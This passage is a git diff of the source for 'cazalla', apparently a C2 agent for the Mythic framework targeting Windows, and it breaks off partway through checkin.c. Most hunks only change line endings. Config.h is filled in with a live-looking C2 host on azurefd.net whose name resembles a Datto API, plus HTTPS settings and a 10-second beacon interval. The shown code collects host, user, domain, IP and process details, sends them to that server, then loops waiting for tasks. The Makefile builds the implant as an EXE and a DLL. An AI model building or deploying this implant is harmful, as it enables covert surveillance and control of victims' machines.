diff --git a/LICENSE.md b/LICENSE.md index a8a4de8..05ddd9c 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,28 +1,28 @@ - -Copyright (c) 2023, its-a-feature -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of [project] nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Copyright (c) 2023, its-a-feature +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of [project] nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Payload_Type/cazalla/Dockerfile b/Payload_Type/cazalla/Dockerfile index 961f44d..33879ef 100644 --- a/Payload_Type/cazalla/Dockerfile +++ b/Payload_Type/cazalla/Dockerfile @@ -1,25 +1,25 @@ -FROM python:3.11 - -ARG CA_CERTIFICATE -ARG NPM_REGISTRY -ARG PYPI_INDEX -ARG PYPI_INDEX_URL -ARG DOCKER_REGISTRY_MIRROR -ARG HTTP_PROXY -ARG HTTPS_PROXY - -RUN apt-get -y update && \ - apt-get -y upgrade && \ - apt-get install --no-install-recommends \ - software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \ - xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \ - apt-get purge -y && \ - rm -rf /var/lib/apt/lists/* && \ - apt-get clean - -COPY requirements.txt / -RUN pip3 install -r /requirements.txt - -WORKDIR /Mythic/ - +FROM python:3.11 + +ARG CA_CERTIFICATE +ARG NPM_REGISTRY +ARG PYPI_INDEX +ARG PYPI_INDEX_URL +ARG DOCKER_REGISTRY_MIRROR +ARG HTTP_PROXY +ARG HTTPS_PROXY + +RUN apt-get -y update && \ + apt-get -y upgrade && \ + apt-get install --no-install-recommends \ + software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \ + xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \ + apt-get purge -y && \ + rm -rf /var/lib/apt/lists/* && \ + apt-get clean + +COPY requirements.txt / +RUN pip3 install -r /requirements.txt + +WORKDIR /Mythic/ + CMD ["python3", "main.py"] \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/__init__.py b/Payload_Type/cazalla/cazalla/__init__.py index 4d49f37..ab736fe 100644 --- a/Payload_Type/cazalla/cazalla/__init__.py +++ b/Payload_Type/cazalla/cazalla/__init__.py @@ -1,20 +1,20 @@ -import glob -import os.path -from pathlib import Path -from importlib import import_module, invalidate_caches -import sys -# Get file paths of all modules. - -currentPath = Path(__file__) -searchPath = currentPath.parent / "agent_functions" / "*.py" -modules = glob.glob(f"{searchPath}") -invalidate_caches() -for x in modules: - if not x.endswith("__init__.py") and x[-3:] == ".py": - module = import_module(f"{__name__}.agent_functions." + Path(x).stem) - for el in dir(module): - if "__" not in el: - globals()[el] = getattr(module, el) - - -sys.path.append(os.path.abspath(currentPath.name)) +import glob +import os.path +from pathlib import Path +from importlib import import_module, invalidate_caches +import sys +# Get file paths of all modules. + +currentPath = Path(__file__) +searchPath = currentPath.parent / "agent_functions" / "*.py" +modules = glob.glob(f"{searchPath}") +invalidate_caches() +for x in modules: + if not x.endswith("__init__.py") and x[-3:] == ".py": + module = import_module(f"{__name__}.agent_functions." + Path(x).stem) + for el in dir(module): + if "__" not in el: + globals()[el] = getattr(module, el) + + +sys.path.append(os.path.abspath(currentPath.name)) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c index 8b2d1e8..3286bc1 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c @@ -1,115 +1,115 @@ -#include "analizador.h" - -//Creacion de un nuevo Analizador. -PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) { - //v2 change to syscalls - PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador)); - pAnalizador->buffer = NULL; - pAnalizador->tamano = tamano; - pAnalizador->tamanoOriginal = tamano; - pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano); - - if (!pAnalizador->original) { - return NULL; - } - - memcpy(pAnalizador->original, buffer, tamano); - pAnalizador->buffer = pAnalizador->original; - - return pAnalizador; -} - -VOID liberarAnalizador(PAnalizador analizador) { - - analizador->original = NULL; - analizador->buffer = NULL; - LocalFree(analizador); - -} - - -BYTE getByte(PAnalizador analizador) { - - BYTE intByte = 0; - if (analizador->tamano < 1) { - return 0; - } - - //v2. Syscalls - memcpy(&intByte, analizador->buffer, 1); - analizador->buffer += 1; - analizador->tamano -= 1; - - return intByte; - -} - - -UINT32 getInt32(PAnalizador analizador) { - - UINT32 intByte = 0; - if (analizador->tamano < 4) { - return 0; - } - - //v2. Syscalls - memcpy(&intByte, analizador->buffer, 4); - analizador->buffer += 4; - analizador->tamano -= 4; - - return BYTESWAP32(intByte); - -} - -UINT64 getInt64(PAnalizador analizador) { - - UINT64 intByte = 0; - if (analizador->tamano < 8) { - return 0; - } - - //v2. Syscalls - memcpy(&intByte, analizador->buffer, 8); - analizador->buffer += 8; - analizador->tamano -= 8; - - return BYTESWAP64(intByte); - -} - -PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) { - - SIZE_T length = 0; - if (*tamano == 0) { - - length = getInt32(analizador); - *tamano = length; - } - else { - - length = *tamano; - - } - - PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length); - if (!datosDeSalida) { - return NULL; - } - - memcpy(datosDeSalida, analizador->buffer, length); - analizador->buffer += length; - analizador->tamano -= length; - - return datosDeSalida; -} - -PCHAR getString(PAnalizador analizador, PSIZE_T tamano) { - - return (PCHAR)getBytes(analizador, tamano); -} - -PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) { - - return (PWCHAR)getBytes(analizador, tamano); - -} +#include "analizador.h" + +//Creacion de un nuevo Analizador. +PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) { + //v2 change to syscalls + PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador)); + pAnalizador->buffer = NULL; + pAnalizador->tamano = tamano; + pAnalizador->tamanoOriginal = tamano; + pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano); + + if (!pAnalizador->original) { + return NULL; + } + + memcpy(pAnalizador->original, buffer, tamano); + pAnalizador->buffer = pAnalizador->original; + + return pAnalizador; +} + +VOID liberarAnalizador(PAnalizador analizador) { + + analizador->original = NULL; + analizador->buffer = NULL; + LocalFree(analizador); + +} + + +BYTE getByte(PAnalizador analizador) { + + BYTE intByte = 0; + if (analizador->tamano < 1) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 1); + analizador->buffer += 1; + analizador->tamano -= 1; + + return intByte; + +} + + +UINT32 getInt32(PAnalizador analizador) { + + UINT32 intByte = 0; + if (analizador->tamano < 4) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 4); + analizador->buffer += 4; + analizador->tamano -= 4; + + return BYTESWAP32(intByte); + +} + +UINT64 getInt64(PAnalizador analizador) { + + UINT64 intByte = 0; + if (analizador->tamano < 8) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 8); + analizador->buffer += 8; + analizador->tamano -= 8; + + return BYTESWAP64(intByte); + +} + +PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) { + + SIZE_T length = 0; + if (*tamano == 0) { + + length = getInt32(analizador); + *tamano = length; + } + else { + + length = *tamano; + + } + + PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length); + if (!datosDeSalida) { + return NULL; + } + + memcpy(datosDeSalida, analizador->buffer, length); + analizador->buffer += length; + analizador->tamano -= length; + + return datosDeSalida; +} + +PCHAR getString(PAnalizador analizador, PSIZE_T tamano) { + + return (PCHAR)getBytes(analizador, tamano); +} + +PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) { + + return (PWCHAR)getBytes(analizador, tamano); + +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h index a08ef0e..3e0a91d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h @@ -1,13 +1,13 @@ -#pragma once -#define initUUID "%UUID%" -#define hostname L"%HOSTNAME%" -#define endpoint L"%ENDPOINT%" -#define ssl %SSL% -#define proxyenabled %PROXYENABLED% -#define proxyurl L"%PROXYURL%" - -#define useragent L"%USERAGENT%" -#define httpmethod L"POST" -#define port %PORT% - -#define sleep_time %SLEEPTIME% \ No newline at end of file +#pragma once +#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4" +#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net" +#define endpoint L"data" +#define ssl TRUE +#define proxyenabled FALSE +#define proxyurl L"" + +#define useragent L"" +#define httpmethod L"POST" +#define port 443 + +#define sleep_time 10 \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index a393c1a..f6c0e76 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -1,43 +1,43 @@ -# Compiler -CC = x86_64-w64-mingw32-gcc -CFLAGS = -Wall -w -s -IInclude -LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows -DFLAGS = -D_DEBUG - -# Directories -SRC_FILES := *.c -BUILD_DIR = build - -# Ensure build directory exists -$(shell mkdir -p $(BUILD_DIR)) - -# Build Targets -all: exe dll - -exe: $(BUILD_DIR)/cazalla.exe - -dll: $(BUILD_DIR)/cazalla.dll - -debug: debug_exe debug_dll - -debug_exe: $(BUILD_DIR)/cazalla-debug.exe - -debug_dll: $(BUILD_DIR)/cazalla-debug.dll - -# Executable Target -$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) - -$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) - -# DLL Target -$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) - $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) - -$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) - $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) - -# Clean up -clean: - rm -rf $(BUILD_DIR) +# Compiler +CC = x86_64-w64-mingw32-gcc +CFLAGS = -Wall -w -s -IInclude +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows +DFLAGS = -D_DEBUG + +# Directories +SRC_FILES := *.c +BUILD_DIR = build + +# Ensure build directory exists +$(shell mkdir -p $(BUILD_DIR)) + +# Build Targets +all: exe dll + +exe: $(BUILD_DIR)/cazalla.exe + +dll: $(BUILD_DIR)/cazalla.dll + +debug: debug_exe debug_dll + +debug_exe: $(BUILD_DIR)/cazalla-debug.exe + +debug_dll: $(BUILD_DIR)/cazalla-debug.dll + +# Executable Target +$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) + +$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) + +# DLL Target +$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) + +$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) + +# Clean up +clean: + rm -rf $(BUILD_DIR) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h index 92897ed..cbf829c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h @@ -1,26 +1,26 @@ -#pragma once -#ifndef ANALIZADOR_H -#define ANALIZADOR_H - -#include "utils.h" - -typedef struct { - - PBYTE original; - PBYTE buffer; - SIZE_T tamano; - SIZE_T tamanoOriginal; - -} Analizador, * PAnalizador; - -PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano); -VOID liberarAnalizador(PAnalizador analizador); - -BYTE getByte(PAnalizador analizador); -UINT32 getInt32(PAnalizador analizador); -UINT64 getInt64(PAnalizador analizador); -PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano); -PCHAR getString(PAnalizador analizador, PSIZE_T tamano); -PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano); - +#pragma once +#ifndef ANALIZADOR_H +#define ANALIZADOR_H + +#include "utils.h" + +typedef struct { + + PBYTE original; + PBYTE buffer; + SIZE_T tamano; + SIZE_T tamanoOriginal; + +} Analizador, * PAnalizador; + +PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano); +VOID liberarAnalizador(PAnalizador analizador); + +BYTE getByte(PAnalizador analizador); +UINT32 getInt32(PAnalizador analizador); +UINT64 getInt64(PAnalizador analizador); +PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano); +PCHAR getString(PAnalizador analizador, PSIZE_T tamano); +PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c index 99017fe..d0bb5d5 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -1,39 +1,39 @@ -#include "cazalla.h" -#include "Config.h" - -CONFIG_CAZALLA* cazallaConfig = NULL; - -VOID cazallaMain() { - - //v2: evitar LocalAlloc - cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); - cazallaConfig->idAgente = (PCHAR)initUUID; - cazallaConfig->hostName = (PWCHAR)hostname; - cazallaConfig->puertoHttp = port; - cazallaConfig->endPoint = (PWCHAR)endpoint; - cazallaConfig->userAgent = (PWCHAR)useragent; - cazallaConfig->metodoHttp = (PWCHAR)httpmethod; - cazallaConfig->SSL = ssl; - cazallaConfig->proxyHabilitado = proxyenabled; - cazallaConfig->urlProxy = (PWCHAR)proxyurl; - cazallaConfig->tiempoSleep = sleep_time * 1000; - - PAnalizador respuestaAnalizador = checkin(); - - if (!respuestaAnalizador) { - _err("error en el primer checkin, cerrando\n"); - return; - } - - parseChecking(respuestaAnalizador); - - while (TRUE){ - rutina(); - } -} - -VOID setUUID(PCHAR newUUID) { - cazallaConfig->idAgente = newUUID; - return; -} - +#include "cazalla.h" +#include "Config.h" + +CONFIG_CAZALLA* cazallaConfig = NULL; + +VOID cazallaMain() { + + //v2: evitar LocalAlloc + cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); + cazallaConfig->idAgente = (PCHAR)initUUID; + cazallaConfig->hostName = (PWCHAR)hostname; + cazallaConfig->puertoHttp = port; + cazallaConfig->endPoint = (PWCHAR)endpoint; + cazallaConfig->userAgent = (PWCHAR)useragent; + cazallaConfig->metodoHttp = (PWCHAR)httpmethod; + cazallaConfig->SSL = ssl; + cazallaConfig->proxyHabilitado = proxyenabled; + cazallaConfig->urlProxy = (PWCHAR)proxyurl; + cazallaConfig->tiempoSleep = sleep_time*1000; + + PAnalizador respuestaAnalizador = checkin(); + + if (!respuestaAnalizador) { + _err("error en el primer checkin, cerrando\n"); + return; + } + + parseChecking(respuestaAnalizador); + + while (TRUE){ + rutina(); + } +} + +VOID setUUID(PCHAR newUUID) { + cazallaConfig->idAgente = newUUID; + return; +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h index 9eb2d76..89bac7d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h @@ -1,35 +1,35 @@ -#pragma once -#ifndef CAZALLA_H -#define CAZALLA_H - -#include -#include "paquete.h" - -#include "analizador.h" -#include "utils.h" -#include "checkin.h" - -typedef struct { - // UUID - PCHAR idAgente; - //HTTP - PWCHAR hostName; - DWORD puertoHttp; - PWCHAR endPoint; - PWCHAR userAgent; - PWCHAR metodoHttp; - - BOOL SSL; - BOOL proxyHabilitado; - PWCHAR urlProxy; - - UINT32 tiempoSleep; -}CONFIG_CAZALLA, * PCONFIG_CAZALLA; - -extern PCONFIG_CAZALLA cazallaConfig; - - -VOID setUUID(PCHAR newUUID); -VOID cazallaMain(); - +#pragma once +#ifndef CAZALLA_H +#define CAZALLA_H + +#include +#include "paquete.h" + +#include "analizador.h" +#include "utils.h" +#include "checkin.h" + +typedef struct { + // UUID + PCHAR idAgente; + //HTTP + PWCHAR hostName; + DWORD puertoHttp; + PWCHAR endPoint; + PWCHAR userAgent; + PWCHAR metodoHttp; + + BOOL SSL; + BOOL proxyHabilitado; + PWCHAR urlProxy; + + UINT32 tiempoSleep; +}CONFIG_CAZALLA, * PCONFIG_CAZALLA; + +extern PCONFIG_CAZALLA cazallaConfig; + + +VOID setUUID(PCHAR newUUID); +VOID cazallaMain(); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c index 41e64a4..edd8700 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c @@ -1,35 +1,35 @@ -#include "cerrarCallback.h" -#include "paquete.h" -#include - - -BOOL cerrarCallback(PAnalizador argumentos){ - - SIZE_T tamanoUuid = 36; - PCHAR tareaUuid = getString(argumentos, &tamanoUuid); - - // Crear paquete de respuesta - PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE); - - // Si falla la creación del paquete, cerramos con error - if (!paquete) { - ExitProcess(1); - return FALSE; - } - - // Agregar el UUID de la tarea - addString(paquete, tareaUuid, FALSE); - - // Indicar que la tarea se completó con éxito - addByte(paquete, TASK_COMPLETE); - - // Enviar el paquete - mandarPaquete(paquete); - - // Liberar memoria del paquete - liberarPaquete(paquete); - - // Terminar el proceso - ExitProcess(0); - return TRUE; +#include "cerrarCallback.h" +#include "paquete.h" +#include + + +BOOL cerrarCallback(PAnalizador argumentos){ + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + // Crear paquete de respuesta + PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE); + + // Si falla la creación del paquete, cerramos con error + if (!paquete) { + ExitProcess(1); + return FALSE; + } + + // Agregar el UUID de la tarea + addString(paquete, tareaUuid, FALSE); + + // Indicar que la tarea se completó con éxito + addByte(paquete, TASK_COMPLETE); + + // Enviar el paquete + mandarPaquete(paquete); + + // Liberar memoria del paquete + liberarPaquete(paquete); + + // Terminar el proceso + ExitProcess(0); + return TRUE; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h index f72e2ef..f8cd1b7 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h @@ -1,11 +1,11 @@ -#pragma once -#ifndef EXIT_H -#define EXIT_H - -#include -#include "analizador.h" - -BOOL cerrarCallback(PAnalizador argumentos); - - +#pragma once +#ifndef EXIT_H +#define EXIT_H + +#include +#include "analizador.h" + +BOOL cerrarCallback(PAnalizador argumentos); + + #endif //EXIT_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c index 5ff808a..7e3eca3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -1,196 +1,196 @@ -#include "checkin.h" -#include "cazalla.h" - -#pragma comment(lib, "iphlpapi.lib") -#include - -// Obtener Direcciones IPs. -UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { - - PMIB_IPADDRTABLE pTablaDireccionesIP; - DWORD dwSize = 0; - DWORD dwRetVal = 0; - IN_ADDR IPAddr; - LPVOID lpMsgBuf; - - pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); - if (pTablaDireccionesIP) { - - if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { - - LocalFree(pTablaDireccionesIP); - pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); - } - - if (pTablaDireccionesIP == NULL) { - return NULL; - } - } - else { - return NULL; - } - - if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { - - return NULL; - - } - else { - - *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; - } - - UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); - - for (UINT32 i = 0; i < *numeroDeIPs; i++) { - - IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; - tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); - } - - if (pTablaDireccionesIP) { - - LocalFree(pTablaDireccionesIP); - } - - return tableOfIPs; -} - - -// Obtener la arquitectura -BYTE obtenerArquitectura() { - - SYSTEM_INFO informacionDelSistema; - - GetNativeSystemInfo(&informacionDelSistema); - if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { - return 0x64; - } - - return 0x86; -} - -// Obtener el Hostname -PCHAR obtenerHostame() { - - LPSTR datos = NULL; - DWORD dataLen = 0; - const char* hostnameRep = "N/A"; - - if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) - { - if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) - { - GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); - hostnameRep = datos; - } - } - return (char*)hostnameRep; -} - -// Obtener el usuario -char* obtenerUsuarios() { - - LPSTR datos = NULL; - DWORD dataLen = 0; - const char* usuario = "N/A"; - - if (!GetUserNameA(NULL, &dataLen)) { - - if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { - - GetUserNameA(datos, &dataLen); - usuario = datos; - } - } - return (char*)usuario; -} - -// Obtener el dominio -LPWSTR obtenerDominio() { - - DWORD dwLevel = 102; - LPWKSTA_INFO_102 pBuf = NULL; - PWCHAR dominio = NULL; - NET_API_STATUS nStatus; - LPWSTR pszServerName = NULL; - - nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); - if (nStatus == NERR_Success) { - - DWORD length = lstrlenW(pBuf->wki102_langroup); - dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); - memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); - } - - if (pBuf != NULL) { - - NetApiBufferFree(pBuf); - } - - return dominio; -} - -char* getOsName() { - - return (PCHAR)"Windows"; -} - -// Obtener el nombre del proceso actual -char* obtenerNombreProceso() { - - char* nombreProceso = NULL; - HANDLE handle = GetCurrentProcess(); - if (handle) { - - DWORD buffSize = 1024; - CHAR buffer[1024]; - - if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { - - nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); - memcpy(nombreProceso, buffer, buffSize); - } - CloseHandle(handle); - } - return nombreProceso; -} - - -PAnalizador checkin() { - - UINT32 numeroDeIPs = 0; - PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); - if (!checkin) { - _err("Error: nuevoPaquete() devolvió NULL en checkin\n"); - return NULL; - } - addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); - - UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); - addInt32(checkin, numeroDeIPs); - for (UINT32 i = 0; i < numeroDeIPs; i++) { - addInt32(checkin, tableOfIPs[i]); - } - - addString(checkin, getOsName(), TRUE); - addByte(checkin, obtenerArquitectura()); - addString(checkin, obtenerHostame(), TRUE); - addString(checkin, obtenerUsuarios(), TRUE); - addWString(checkin, obtenerDominio(), TRUE); - addInt32(checkin, GetCurrentProcessId()); - addString(checkin, obtenerNombreProceso(), TRUE); - addString(checkin, (PCHAR)"1.1.1.1", TRUE); - - - PAnalizador respuestaAnalizador = mandarPaquete(checkin); - - liberarPaquete(checkin); - - if (!respuestaAnalizador) { - _err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); - return NULL; - - } - return respuestaAnalizador; +#include "checkin.h" +#include "cazalla.h" + +#pragma comment(lib, "iphlpapi.lib") +#include + +// Obtener Direcciones IPs. +UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { + + PMIB_IPADDRTABLE pTablaDireccionesIP; + DWORD dwSize = 0; + DWORD dwRetVal = 0; + IN_ADDR IPAddr; + LPVOID lpMsgBuf; + + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); + if (pTablaDireccionesIP) { + + if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { + + LocalFree(pTablaDireccionesIP); + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); + } + + if (pTablaDireccionesIP == NULL) { + return NULL; + } + } + else { + return NULL; + } + + if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { + + return NULL; + + } + else { + + *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; + } + + UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); + + for (UINT32 i = 0; i < *numeroDeIPs; i++) { + + IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; + tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); + } + + if (pTablaDireccionesIP) { + + LocalFree(pTablaDireccionesIP); + } + + return tableOfIPs; +} + + +// Obtener la arquitectura +BYTE 